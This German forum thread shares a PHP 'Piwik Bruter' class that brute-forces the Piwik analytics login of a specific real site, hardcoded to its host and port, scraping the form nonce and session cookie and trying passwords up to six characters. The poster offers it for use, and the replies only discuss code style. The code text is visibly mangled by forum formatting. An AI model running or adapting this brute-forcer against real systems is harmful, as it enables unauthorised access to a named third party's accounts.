1. #1
    Mitglied

    Registriert seit
    10.06.2012
    Beiträge
    55
    Thanked 23 Times in 12 Posts

    Daumen hoch [PHP] PIWIK Bruter

    Hallo hier möchte ich euch meine Piwik Bruter Klasse in PHP vorstellen.
    Die Klasse ist nur aus Langweile entstanden, ich werde dazu keinerlei Support geben und auch keine Fragen wie z.B. "Wie Funktioniert das?" beantworten.

    Ich wünsche euch trotzdem viel Spaß damit



    PHP-Code:
    <?php
    /*
    ** author xtp57
    */ 

    class brute_PIWIK {

    private function 
    PostRequest($url$referer$data$cookie) {
        
    $url parse_url($url);
        
    $host $url['host'];
        
    $path $url['path'];
        
    $fp fsockopen($host8080);
        if(
    $data == "") {
            
    $typ "GET";
        }else{
            
    $typ "POST";
        }
        
    fputs($fp$typ.$path HTTP/1.1\r\n");
        
    fputs($fp"Host: $host\r\n");
        
    fputs($fp"User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13\r\n");
        if(
    $referer != "") {
            
    fputs($fp"Referer: $referer\r\n");
        }
        if(
    $cookie != "") {
            
    fputs($fp"Cookie: ".$cookie."\r\n");
        }
        
    fputs($fp"Content-type: application/x-www-form-urlencoded\r\n");
        
    fputs($fp"Content-length: "strlen($data) ."\r\n");
        
    fputs($fp"Connection: close\r\n\r\n");
        if(
    $data != "") {
            
    fputs($fp$data);
        }
        
    $result ''
        while(!
    feof($fp)) {
            
    $result .= fgets($fp128);
        }
        
    fclose($fp);
        return 
    $result;
    }

    private function 
    getHiddenFormID($content) {
        
    $regex '#<input type="hidden" name="form_nonce" id="form_nonce" value="(.*?)" />#';
        
    preg_match_all($regex$content$match);
        return 
    $match[1][0];
    }

    private function 
    getPIWIK_SESSID($content) {
        
    $regex '#Set-Cookie: (.*?);#';
        
    preg_match_all($regex$content$match);
        return 
    $match[1][0];
    }

    private function 
    brute($width)
    {    
        
    $position 0;
        
    $charset "";
        
    $charset .= "abcdefghijklmnopqrstuvwxyz";
        
    $charset .= "1234567890";
        
    $charset .= "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
        
    //$charset .= "äöüÄÖÜß";
        //$charset .= "!"§$%&/()=?,.-#+"; //sonderzeichen usw.
        
        
    $charset_length strlen($charset);
        
         
        for (
    $i 0$i $charset_length; ++$i) {
            if (
    $position  $width 1) {
                
    $this->brute($width$position 1);
            }
            
    $this->checkLogin($charset[$i]);
        }
    }

    private function 
    checkLogin($password) {
        
    $content $this->PostRequest("http://track.knuddels.de/piwik/""http://track.knuddels.de:8080/piwik/""""");
        
    $session $this->getPIWIK_SESSID($content);
        
    $hiddenID $this->getHiddenFormID($content);

        
    $content $this->PostRequest("http://track.knuddels.de/piwik/""http://track.knuddels.de:8080/piwik/""form_login=piwik&form_password=".$password."&form_nonce=".$hiddenID$session);
        
    $count substr_count($content"Password not correct");
        
        if(
    $count == 0)    {
            print 
    "<center><h1>Passwort gefunden!<br>Passwort: <b>".$password."</b></h1><center>\n";
            exit;
        } else {
            
    //print $password." = FAIL!<br>\n";    
        
    }
    }

    }

    $start = new brute_PIWIK();

    $stellen 6//Anzahl der maximalen Pw Länge.

    $start->brute($stellen);


    /*
    ** Have fun :-)
    */
    ?>

  2. #2
    Projektleitung
    Avatar von DMW007
    Registriert seit
    15.11.2011
    Beiträge
    4.046
    Thanked 8.450 Times in 2.520 Posts
    Blog Entries
    5

    Standard [PHP] PIWIK Bruter

    Bei GET-Requests wird keine Content-Length angegeben, da es keinen Content im Body gibt.
    Cookies kann man wesentlich performanter als mit Regex auslesen. Den Header ist vom Content mit 2 Zeilenumbrüchen getrennt.

    Beim auslesen der ID benutzt du dasselbe Wildcard-Pattern

    PHP-Code:
    $regex '#<input type="hidden" name="form_nonce" id="form_nonce" value="(.*?)" />#'
    Regex besteht nicht aus (.*?), das ist das unperformanteste und fehleranfälligste Pattern das es gibt da es eben alles zwischen den delimittern matcht, daher sollte man es auch nur da verwenden wo es zwingend notwendig ist, also in deinem Script gar nicht.
    Btw ist das ein Regex-Pattern, und kein regulärer Ausdruck.

    PHP ist imho auch nicht die geeignetste Sprache für sowas (time_limit & co).


  3. #3
    Nachrichtendienst

    Registriert seit
    01.07.2011
    Beiträge
    103
    Thanked 54 Times in 45 Posts

    Standard [PHP] PIWIK Bruter

    Cookies kann man wesentlich performanter als mit Regex auslesen.
    Wozu?!

    cURL bietet doch das storen/nutzen von Cookies von Hause aus an. Das ganze nent sich bei den Optionen COOKIEJAR oder sowas.

  4. #4
    Neuling

    Registriert seit
    17.02.2012
    Beiträge
    21
    Thanked 4 Times in 4 Posts

    Standard [PHP] PIWIK Bruter

    wenn man vielleicht kein cURL zur verfügung hat?

  5. #5
    Nachrichtendienst

    Registriert seit
    01.07.2011
    Beiträge
    103
    Thanked 54 Times in 45 Posts

    Standard [PHP] PIWIK Bruter

    Komm jetzt nicht damit, des ist doch schon mittlerweile (fast bei jedem) Standardmäßig als PHP-Modul installiert - Selbst auf Freehostern.

  6. The Following User Says Thank You to Batzi For This Useful Post:

    DotNet (03.09.2015)

Ähnliche Themen

  1. PSC-Bruter?!
    Von Baumstumpf im Forum OffTopic
    Antworten: 1
    Letzter Beitrag: 28.11.2012, 17:35
  2. Bruter Algorhytmus
    Von Essah im Forum Hochsprachen
    Antworten: 7
    Letzter Beitrag: 23.10.2012, 22:34
  3. Problem Knuddels Bruter
    Von Knuddels im Forum Knuddels Bots
    Antworten: 0
    Letzter Beitrag: 20.08.2012, 00:48
  4. Gibt es noch Bruter
    Von Kosi im Forum Knuddels Allgemein
    Antworten: 6
    Letzter Beitrag: 26.11.2011, 22:21
Diese Seite nutzt Cookies, um das Nutzererlebnis zu verbessern. Klicken Sie hier, um das Cookie-Tracking zu deaktivieren.

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191